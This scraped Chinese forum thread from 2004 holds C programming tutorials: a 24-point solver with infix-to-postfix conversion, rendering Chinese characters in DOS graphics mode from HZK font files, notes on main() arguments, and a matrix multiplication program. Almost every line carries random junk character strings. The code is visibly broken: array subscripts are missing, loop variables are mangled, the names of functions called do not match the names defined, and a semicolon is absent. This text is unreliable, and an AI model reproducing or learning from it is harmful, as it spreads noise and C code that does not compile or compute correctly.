/* 此函数实现中缀到后缀的转换 */
  M$ y: Q6 x& g: w/* M的值宏定义为20 */
/ J, C/ p# U6 ?" v$ {+ f2 z/* sp[]为表达式数组 */
, ]( y: B7 a, y& _int mid_last()
2 m) k+ }7 D/ A2 [$ r{ int i=0,j=0; char c,sm[M];
2 i' o5 ^3 b. n* Z& p& fc=s[0]; sm[0]='='; top=0;) D2 c1 u$ u2 N
while(c!='\0')
  }( d( w' o; M- x{ if(islower(c)) sp[j++]=c;; b4 g( [! H4 u  }
else switch(c)! _2 s( ?$ |, E9 u# X
{ case '+':
* T8 c+ `  D0 e+ X8 Q  Fcase '-':
% t+ n# Y7 [/ a) f; ?$ p$ m. ]5 Scase '*':
+ f9 x9 N. Y0 k- \% _case '/': while(first(c)&lt;=first(sm[top]))+ z, Y! K% U, i) C
sp[j++]=sm[top--];
1 U1 W& z% ~& ?" v" fsm[++top]=c; break;* b" F( B7 V* `( \- a0 j
case '(': sm[++top]=c; break;# X5 r* D; @/ n/ x$ f
case ')': while(sm[top]!='(')
4 l7 ^$ G& [' Z% E3 ^8 ?sp[j++]=sm[top--];/ [, d) ?/ K4 e3 }
top--; break;& [: h& H6 J) M, j3 Z& ~7 z
default :return(1);
, g* N+ W- `2 a! n$ o3 {}
' q( e! M) A2 Ec=s[++i];* V# D6 [) ~+ }; T9 T
}
, w4 w5 O5 ]9 Q* Mwhile(top&gt;0) sp[j++]=sm[top--];* L; f/ v) Y$ K
sp[j]='\0'; return(0);
5 ^6 q3 a! p4 e: {* V}$ E7 c& T- Y- i+ H" y$ b
/* 由后缀表达式来计算表达式的值 */
& \, g, C* P# h1 {9 Y% S3 a, d0 ^# f7 Pint calc()
4 p1 Q. e. T8 u: A: ]0 S{ int i=0,sm[M],tr; char c;# ?! n9 P' U7 F& e1 n6 b
c=sp[0]; top=-1;* n) A. W5 V' M, ~# {) F
while(c!='\0')
  \0 Q* g2 s, n2 j' u, J# K{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,( r  \- R* j  U/ r
这样才可以更方便的处理非一位数,
) R  t) U- E) w$ f! x, [# Qver数组中存放着这些字母所代替的数*/: H" ^6 Q# x7 m1 P+ w0 f! K
else switch(c)4 O* M! n# V; m
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
# b- M- t! o' q2 a1 x: M$ scase '-': tr=sm[top--]; sm[top]-=tr; break;' V7 g, k5 Y5 P
case '*': tr=sm[top--]; sm[top]*=tr; break;+ U& J9 u: U6 |& z
case '/': tr=sm[top--];sm[top]/=tr;break;
" F0 o' k& y7 A; H3 X. z& Vdefault : return(1);) I* k$ T, M" R
}3 F* H4 \  Y9 B: w- m6 D
c=sp[++i];1 N+ s( t9 y+ I8 C: {) ^9 r" B
}/ f8 g7 i# B* `5 ^
if(top&gt;0) return(1);
5 H) W  t% {! l$ Aelse { result=sm[top]; return(0); }
9 F; a) g" ^4 R3 m: Z# @}
+ O' a  {5 A; Q</FONT>
, F% y$ R5 g7 ]8 O/ ]. @  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。' T( @9 ^# g" |0 [- p

0 H6 l9 x0 C  ^/ y  最后我总结了一下这其中容易出错的地方——: e( g; Y+ v) w: Q$ Z9 F1 v

5 q& X0 O0 r1 e  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
7 l5 J# r/ M# [( O
. s7 R6 j: N4 `0 I( E  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。1 l9 M0 a3 ?2 c

2 G: y2 z+ ], i* l- J# W+ R9 H  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
3 Z# o; ~0 }8 L+ P4 [$ y0 v
9 N. z+ A# T& a6 t( Z' E  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
2 e. g8 G) }9 c* D+ ^1 A; h0 w2 y; w2 E6 ^9 i- C9 v: Z
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。  [5 }- \8 ]7 Z$ H7 x6 f" _# s

8 x6 s4 n5 P; O+ y  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
, l* ]# d$ A( ~# o* g' d4 I( X6 G, R% v5 \' d* k2 I
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
& ?$ u: |) b! Q8 E# S2 i</P>
作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>( ?7 L& l' S: z
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
7 n0 J2 L, Z3 Y( ]! l7 g  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。4 }& g$ N  \( w( r. c! r
  汉字显示的第一步是打开字库文件。 # z' A& L9 U, _) k+ a1 ~
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。  [% d' ]$ d5 ?. a
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
$ ^" Q! }8 R  W2 ]7 ]* G{
- c: a/ F$ b! ^unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
! i* T9 ]/ u0 I+ h9 N- kint rec,i1,i2,i3; /*z:space between;*/
; N5 W4 B- D0 a( Y4 \- blong l; /*color:txt color*/
5 G: p6 M" H7 achar by[32]; /*p:HZ str*/
- F) ^+ t& {  Z$ Q5 c; Zif( handle&lt;0 ) return -1; while((i=*p++)!=0){
8 d/ P& k! K6 s3 E8 vif(i&gt;0xa1)7 [) O6 n* T4 m9 f, ]* g
if(f==0){
8 r/ q: K% ^6 k! P. c" yc1=(i-0xa1)&amp;0x07f;( {) J- m' I" e8 V
f=1;
3 ]+ i6 X+ ^# R' `% z& z5 b}9 @' ^( O2 w, R) K. m7 N
else{
8 X) ]8 E3 R  P) |c2=(i-0xa1)&amp;0x07f;
& H) N3 z1 p& G0 C0 of=0;' _. y/ U4 ^3 p0 T
rec=c1*94+c2;
5 i% F8 l9 ~- al=rec*32L;
1 K- D8 b$ B. y5 s1 ulseek(handle,l,SEEK_SET);2 A$ ]; K8 \9 u0 D" H1 j1 A) v8 T
read(handle,by,32);
, I  i" G" M: s' A# U3 s2 Zfor(i1=0;i1&lt;16;i1++)
- N% J  d8 b& E# a( afor(i2=0;i2&lt;2;i2++)
5 l" [/ u' N8 t- `3 Ofor(i3=0;i3&lt;8;i3++)) A- _" t# M+ g+ A: X" x) G
if(GetBit(by[i1*2+i2],7-i3))% D3 |% W4 K* y. \
putpixel(x+i2*8+i3,y+i1,color);
+ Z2 d$ i0 f8 Q9 m' }* Wx=x+z+16;$ b$ s, W$ k6 w4 z4 q& n) p5 C' l
}/ b0 V) c; z2 E; ~) f
}
3 X) f7 _$ B! T/ B  ]& [6 d( a# `9 ?return(x);
1 B( `0 R, N1 i& B}
2 c2 ?% m1 @. S' m. v$ E7 _$ C+ ]函数GetBit定义如下:( J8 A9 `1 A: |- M+ t4 U$ R& _5 b
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
+ ]6 u% o- w1 Z2 K, v4 ]. S: fint GetBit(unsigned char c,int n)
+ I2 \! \8 C( x/ R) G4 }5 h! |{
. x) u3 L: C; N1 r3 H4 x0 V3 h/ Yreturn((c&gt;&gt;n)&amp;1);
0 ]! }% g* U# Q( {8 N}
6 _8 V& E- S) q0 e汉字显示结束,应该关闭字库文件。, z' w) G: X$ ~* f0 J- H
void CloseHz(void)$ v1 D: C) h( \; c! j3 P0 L
{
: @! F9 p, h6 O4 i; D' cclose( handle );- i' J1 ^% a0 b
}! ]! a" j3 d# l' M# a- _( d
#include "\Caic\Include\Hz.h"# C& }6 c& ?' t, K3 B
#include <GRAPHICS.H>2 f9 @$ h3 r4 z& X: d! ]: h7 F
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";: ?  Y6 i% L% p7 e) s
const char* HzStr = "苦丁香C语言辅助学习软件";
7 \; u% W' P) @void main(){6 ]* G+ J) v2 W' T+ S$ O: L7 M
int gr=DETECT,gm;
5 Y6 |1 {6 ^* Ginitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
( C" e$ g$ c: {/ _- wOpenHz( Hz16Path );
" R; [- v; [; VWrt16Hz(20,20,4,RED,HzStr);
7 T( X6 [+ v  [( tCloseHz();
7 k  D: b+ c! W& o) tgetch();
, i' f  X% A3 qclosegraph();# P+ m+ x3 _& C/ J
}显示24点阵及放大汉字
) ^" o! h4 r0 F" O; F8 ]! j* T3 R  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。! r3 Q/ M( i( p9 g# N' l+ u( Q# B
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。2 |  w8 Y$ T  _
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
# W* Z, w/ N0 x: F{
) @* [2 |0 X3 r3 h$ nunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
4 R& v3 i& x* E. H) t! Q) ]int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/$ _" F" u6 e5 G% a! I1 y
long l; /*color:汉字颜色*/
0 `  h1 Q4 g2 p& c% tchar by[72]; /*m: x 方向的放大倍数*/
5 b- ]+ L' k. t$ ]/*n: y 方向的放大倍数*/% [% F9 D# I; X3 c
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
0 n9 ?) |8 Y( Rif(i&gt;0xa1)
3 p0 m! q, W4 T. iif(f==0){$ [$ S/ b; w7 R( Q; A/ f
c1=(i-0xa1)&amp;0x7f;: P$ c0 u3 ^, T( \' ]: [
f=1;/ \8 L2 [, \. s4 @( D
}, @( [9 w$ V) A; v; J2 q+ X
else{
2 W7 a5 H7 _" o, P, fc2=(i-0xa1)&amp;0x7f;4 W$ C$ y7 z$ N+ L" e: j! a
f=0;1 |+ M2 m4 a7 ~1 R
rec=(c1-15)*94+c2;" w- j# V3 p! n1 [; k& H, I+ q
l=rec*72L;$ q1 j5 h0 s- p- @$ l" u) p
lseek(handle,l,SEEK_SET);
' B- V5 I: n$ j* k6 y5 P4 uread(handle,by,72);; |# S# }( m, H% _
for(i1=0;i1&lt;24*m;i1=i1+m)
5 n, d% y& o" lfor(i4=0;i4<M;I4++)
) l, L- w7 l/ _! f" v- h for(i2=0;i2&lt;=2;i2++)
4 p; }" V% ~' V) I! r' Xfor(i3=0;i3&lt;8;i3++)
' N( G% Z  r# l2 |* y$ s; Yif(GetBit(by[i1/m*3+i2],7-i3)); U6 Z9 {! S3 q2 f' X9 P
for(i5=0;i5<N;I5++)6 y1 n; q0 V( ?+ n2 s; x
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);( T, O2 d6 v$ {. Z) z  V0 B
x=x+24*m+z;3 @) s8 y' g' e, y3 A- l
}( O, Y5 Y: n+ f# t- h" i" I
}
6 f1 `# ?& t* Z* \2 ?" Areturn(x);/ q8 j! f8 `- D
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h") @: L: a2 K- f
#include <GRAPHICS.H>
3 c$ Y8 L5 M' ~* x/ c$ d  X# l. V#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
2 l. U& Z( b* [const char* HzStr = "苦丁香C语言辅助学习软件";
3 l5 c7 n5 F% ~; Rvoid main(){9 f+ y' m1 O1 x' f
int gr=DETECT,gm;
; A. S' c+ c) tinitgraph(&amp;gr,gm,"\\Caic\\Bgi");
4 l% @' A; {$ |OpenHz( Hz24Path );
: p' ]# c$ Y: g5 P) j( IWrt24Hz(20,20, /*先是在(x,y)*/
7 @3 s# K, ~0 j0 _' Q+ K2 _' I4, /*汉字间的空格为4*/
6 s- ?. W4 c5 ]% N3 S& N4 eRED, /*用红色显示*/
0 z. j$ H( V7 R' S& k; A, b8 R, ?" C2, /*x 方向放大2倍*/1 y& Z0 ?6 j% `; l
4, /*y 方向放大4倍*/' f) x# ^0 g; l# z  _
HzStr); /*显示字符串*/
6 c3 W' F# z  S0 UCloseHz();1 a: k# K% D1 ]5 G, c2 j% b
getch();
6 U# b0 m1 R+ K- I% W5 jclosegraph();; j+ d+ V* C; ^  y
} 0 }2 U$ e$ i; T+ @( D
</P>
作者: 韩冰    时间: 2004-10-4 02:41
<>  再谈main()主函数
/ R& c- `8 G! {7 ?; Y- H) `& @8 F; o  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。8 G& l  r1 n# I+ v
1. main() 参数
: @5 [+ j: D, J/ A+ ^' x  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。' a) f( ~* [, [! v. v9 Z/ i3 |/ ?
  * argc: 整数,为传给main()的命令行参数个数。1 A, w+ s6 Q# X3 m' }8 u" G
  * argv: 字符串数组。
& f( ~4 N! m6 e- [6 q: h; c在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
8 K  n& C: D' K* Y% s: Y对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;. a% J4 ]1 I& W  e- h! Y, {9 |
...
0 x, M( V" x5 @2 |. ^% Z7 P1 f# Jargv[argc]为NULL。
2 T! {% W, X0 @! {" k* w  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
5 p* Y  h; c: `值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/; n% W7 b7 w& F' _
#include&lt;stdio.h&gt;
) ^4 f1 a) B' B1 S; g#include&lt;conio.h&gt;! L* z3 {$ _8 `4 {* D. O7 u
#define X 3
! B1 s, C$ P3 e3 I0 A! R#define Y 3</P><>int a[X][Y];
- @; u+ n; |# b4 J! bint b[X][Y];
7 M8 b* q/ T7 [, i5 {int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
9 f# `, G* F3 |% lmain()
  b7 c. v1 R" g4 L  o{
" l4 c# u% x0 n  c0 O+ g0 ^7 _int i,j,temp;1 L' R6 e" D; q  R4 n
clrscr();
+ s; K5 @- ^  U* @1 Q) X$ Pprintf("lease input int matrix b[%d][%d]\n",X,Y);
, l5 q' Z% @& M9 n7 w& H% `% Rfor(i=0;i&lt;Y;i++)# F  ]" O8 |+ e# T9 @  ]* }. B! ~
for(j=0;j&lt;Y;j++){
! K# C7 ]- a+ W& S6 m( g+ `scanf("%d",&amp;temp);( x& h* T3 `4 ]# `, b6 ?& F$ i" c, k
b[j]=temp;0 u- j9 @5 v; w# U; e& S5 V. P1 H
}: k) A; M1 m) l8 f; p, O
printf("lease input int matrix c[%d][%d]\n",X,Y);
8 r6 K* k+ t2 Y% m. x) zfor(i=0;i&lt;X;i++)
! }& X) n  H) e4 N5 afor(j=0;j&lt;Y;j++){3 _  d; g; _/ Q2 C- _' n6 s
scanf("%d",&amp;temp);2 A- m' d( {4 k1 L' K; Y+ D
c[j]=temp;/ S& q  v7 m6 c# A+ G
}% G+ C8 {" P. Y" J+ n) v
matrix(b,c);; c0 u0 [/ I8 Y0 N4 ]- X" [, ]1 q1 i, _7 q
printf("Now print resource matrix b[%d][%d]=",X,Y);/ l1 n$ s4 d) F% k: r
for(i=0;i&lt;X;i++){
3 n. j; \% z- V5 j) vprintf("\n");: k8 O2 w/ C. L0 [8 o
for(j=0;j&lt;Y;j++)
# P# W; ^" t. cprintf("%d ",b[j]);
! U& d& d% P: V4 s$ Y; d}( G8 _+ n4 Z2 J+ ]9 Q
printf("\n");
  S" f" f5 R. }+ @printf("Now print resource matrix c[%d][%d]=",X,Y);
& r# t/ y% V9 p% sfor(i=0;i&lt;X;i++){
2 d  m$ |" n% A5 v8 K/ {printf("\n");
, ?8 g) W) t2 z6 a3 [" x0 c# efor(j=0;j&lt;Y;j++); H! ?% c  ?7 z4 e
printf("%d ",c[j]);
3 B% K2 @4 t9 z4 X. T8 s6 m}
- Y9 ^  o" e# Z" Nprintf("\n");
# S# q. C9 f; }% x5 G! X3 v8 Lprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
6 b! _  ~. L  M( t; v+ }) Yfor(i=0;i&lt;X;i++){
) z+ I$ F2 K; C6 Z" r% N* \printf("\n");
  j7 C; t2 i$ Sfor(j=0;j&lt;Y;j++)
3 X  v0 I5 J  l/ Lprintf("%d ",a[j]);8 `, X, G3 z1 y7 J3 Q( G
}- o* j! r/ c7 N  X$ L
getch();
' B$ a6 J% z3 y6 J# }return 0;
- P2 O- n: @( F4 V}5 G; |3 u4 V! g; H) V
/********************************************************************/
4 E) \& ]; c8 c3 R2 tvoid matrix(int b[][X],int c[][Y])) x7 H4 l0 y* v! g$ n# Q
{
+ T  g( A- `( `$ }5 U7 yint i,j,k,temp;' K* S# Q: k2 d- r  Y8 Z+ A% m
for(i=0;i&lt;X;i++)+ D7 q  E6 l2 S! j+ z
for(j=0;j&lt;Y;j++){# m8 R  ?+ ~" @5 O$ c0 Z2 K; V
for(k=0;k&lt;Y;k++)/ M9 |; j1 a0 a1 Y+ ]$ v
a[j]+=b[k]*c[k][j];" i+ t# z! y9 G6 y
}7 C/ R7 ~0 p7 r; ^
}</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5